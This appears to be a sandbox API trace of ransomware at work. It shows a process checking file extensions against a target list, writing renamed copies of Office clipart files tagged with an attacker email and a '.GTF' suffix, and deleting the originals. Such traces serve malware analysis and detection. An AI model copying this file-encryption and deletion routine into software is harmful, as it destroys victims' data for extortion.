	[0090.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0090.065] lstrlenW (lpString=".jpg") returned 4
	[0090.065] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0090.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0090.066] lstrlenW (lpString=".doc") returned 4
	[0090.066] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.066] lstrlenW (lpString=".docx") returned 5
	[0090.066] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0090.066] lstrlenW (lpString=".pdf") returned 4
	[0090.066] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.066] lstrlenW (lpString=".xls") returned 4
	[0090.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.066] lstrlenW (lpString=".xlsx") returned 5
	[0090.066] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0090.066] lstrlenW (lpString=".ppt") returned 4
	[0090.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0090.066] lstrlenW (lpString=".zip") returned 4
	[0090.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.066] lstrlenW (lpString=".rar") returned 4
	[0090.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.066] lstrlenW (lpString=".bz2") returned 4
	[0090.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.066] lstrlenW (lpString=".7z") returned 3
	[0090.066] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0090.066] lstrlenW (lpString=".dbf") returned 4
	[0090.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0090.066] lstrlenW (lpString=".1cd") returned 4
	[0090.066] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0090.066] lstrlenW (lpString=".jpg") returned 4
	[0090.066] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.067] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0090.067] lstrlenW (lpString="J0086428.WMF") returned 12
	[0090.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0090.067] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=35346) returned 1
	[0090.067] CloseHandle (hObject=0x31c) returned 1
	[0090.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 0x220
	[0090.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0090.067] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.067] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0090.068] GetLastError () returned 0x0
	[0090.068] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x8a12, lpOverlapped=0x0) returned 1
	[0090.557] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x8a20, lpOverlapped=0x0) returned 1
	[0090.591] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.591] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.591] SetEndOfFile (hFile=0x2d0) returned 1
	[0090.591] CloseHandle (hObject=0x2d0) returned 1
	[0090.591] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.592] SetEndOfFile (hFile=0x31c) returned 1
	[0090.592] CloseHandle (hObject=0x31c) returned 1
	[0090.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.593] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 1
	[0090.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0090.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0090.593] lstrlenW (lpString=".doc") returned 4
	[0090.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.593] lstrlenW (lpString=".docx") returned 5
	[0090.593] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0090.593] lstrlenW (lpString=".pdf") returned 4
	[0090.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.593] lstrlenW (lpString=".xls") returned 4
	[0090.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.593] lstrlenW (lpString=".xlsx") returned 5
	[0090.593] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0090.593] lstrlenW (lpString=".ppt") returned 4
	[0090.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0090.593] lstrlenW (lpString=".zip") returned 4
	[0090.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.593] lstrlenW (lpString=".rar") returned 4
	[0090.594] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.594] lstrlenW (lpString=".bz2") returned 4
	[0090.594] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.594] lstrlenW (lpString=".7z") returned 3
	[0090.594] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0090.594] lstrlenW (lpString=".dbf") returned 4
	[0090.594] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0090.594] lstrlenW (lpString=".1cd") returned 4
	[0090.594] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0090.594] lstrlenW (lpString=".jpg") returned 4
	[0090.594] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0090.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0090.594] lstrlenW (lpString=".doc") returned 4
	[0090.594] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.594] lstrlenW (lpString=".docx") returned 5
	[0090.594] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0090.594] lstrlenW (lpString=".pdf") returned 4
	[0090.594] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.594] lstrlenW (lpString=".xls") returned 4
	[0090.594] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.594] lstrlenW (lpString=".xlsx") returned 5
	[0090.594] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0090.594] lstrlenW (lpString=".ppt") returned 4
	[0090.594] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0090.594] lstrlenW (lpString=".zip") returned 4
	[0090.594] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.594] lstrlenW (lpString=".rar") returned 4
	[0090.594] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.594] lstrlenW (lpString=".bz2") returned 4
	[0090.594] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.595] lstrlenW (lpString=".7z") returned 3
	[0090.595] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0090.595] lstrlenW (lpString=".dbf") returned 4
	[0090.595] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0090.595] lstrlenW (lpString=".1cd") returned 4
	[0090.595] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0090.595] lstrlenW (lpString=".jpg") returned 4
	[0090.595] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.595] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0090.595] lstrlenW (lpString="J0093905.WMF") returned 12
	[0090.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0090.595] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=42050) returned 1
	[0090.596] CloseHandle (hObject=0x31c) returned 1
	[0090.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 0x220
	[0090.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0090.596] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.596] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0090.597] GetLastError () returned 0x0
	[0090.597] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0xa442, lpOverlapped=0x0) returned 1
	[0090.599] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xa450, lpOverlapped=0x0) returned 1
	[0090.601] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.601] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.601] SetEndOfFile (hFile=0x2d0) returned 1
	[0090.601] CloseHandle (hObject=0x2d0) returned 1
	[0090.601] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.601] SetEndOfFile (hFile=0x31c) returned 1
	[0090.602] CloseHandle (hObject=0x31c) returned 1
	[0090.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.602] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 1
	[0090.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0090.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0090.603] lstrlenW (lpString=".doc") returned 4
	[0090.603] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.603] lstrlenW (lpString=".docx") returned 5
	[0090.603] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0090.603] lstrlenW (lpString=".pdf") returned 4
	[0090.603] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.603] lstrlenW (lpString=".xls") returned 4
	[0090.603] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.603] lstrlenW (lpString=".xlsx") returned 5
	[0090.603] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0090.603] lstrlenW (lpString=".ppt") returned 4
	[0090.603] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0090.603] lstrlenW (lpString=".zip") returned 4
	[0090.603] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.603] lstrlenW (lpString=".rar") returned 4
	[0090.603] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.603] lstrlenW (lpString=".bz2") returned 4
	[0090.603] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.603] lstrlenW (lpString=".7z") returned 3
	[0090.603] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0090.603] lstrlenW (lpString=".dbf") returned 4
	[0090.603] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0090.603] lstrlenW (lpString=".1cd") returned 4
	[0090.603] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0090.603] lstrlenW (lpString=".jpg") returned 4
	[0090.603] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0090.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0090.604] lstrlenW (lpString=".doc") returned 4
	[0090.604] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.604] lstrlenW (lpString=".docx") returned 5
	[0090.604] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0090.604] lstrlenW (lpString=".pdf") returned 4
	[0090.604] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.604] lstrlenW (lpString=".xls") returned 4
	[0090.604] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.604] lstrlenW (lpString=".xlsx") returned 5
	[0090.604] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0090.604] lstrlenW (lpString=".ppt") returned 4
	[0090.604] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0090.604] lstrlenW (lpString=".zip") returned 4
	[0090.604] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.604] lstrlenW (lpString=".rar") returned 4
	[0090.604] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.604] lstrlenW (lpString=".bz2") returned 4
	[0090.604] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.604] lstrlenW (lpString=".7z") returned 3
	[0090.604] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0090.604] lstrlenW (lpString=".dbf") returned 4
	[0090.604] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0090.604] lstrlenW (lpString=".1cd") returned 4
	[0090.604] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0090.604] lstrlenW (lpString=".jpg") returned 4
	[0090.604] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.605] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0090.605] lstrlenW (lpString="J0098497.WMF") returned 12
	[0090.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0090.605] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=4970) returned 1
	[0090.605] CloseHandle (hObject=0x31c) returned 1
	[0090.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 0x220
	[0090.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0090.606] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.606] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0090.606] GetLastError () returned 0x0
	[0090.606] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x136a, lpOverlapped=0x0) returned 1
	[0090.608] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x1370, lpOverlapped=0x0) returned 1
	[0090.609] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.609] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.609] SetEndOfFile (hFile=0x2d0) returned 1
	[0090.609] CloseHandle (hObject=0x2d0) returned 1
	[0090.609] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.609] SetEndOfFile (hFile=0x31c) returned 1
	[0090.610] CloseHandle (hObject=0x31c) returned 1
	[0090.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.611] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 1
	[0090.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0090.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0090.611] lstrlenW (lpString=".doc") returned 4
	[0090.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.611] lstrlenW (lpString=".docx") returned 5
	[0090.611] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0090.611] lstrlenW (lpString=".pdf") returned 4
	[0090.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.611] lstrlenW (lpString=".xls") returned 4
	[0090.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.611] lstrlenW (lpString=".xlsx") returned 5
	[0090.611] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0090.611] lstrlenW (lpString=".ppt") returned 4
	[0090.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0090.611] lstrlenW (lpString=".zip") returned 4
	[0090.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.611] lstrlenW (lpString=".rar") returned 4
	[0090.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.611] lstrlenW (lpString=".bz2") returned 4
	[0090.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.611] lstrlenW (lpString=".7z") returned 3
	[0090.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0090.611] lstrlenW (lpString=".dbf") returned 4
	[0090.611] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
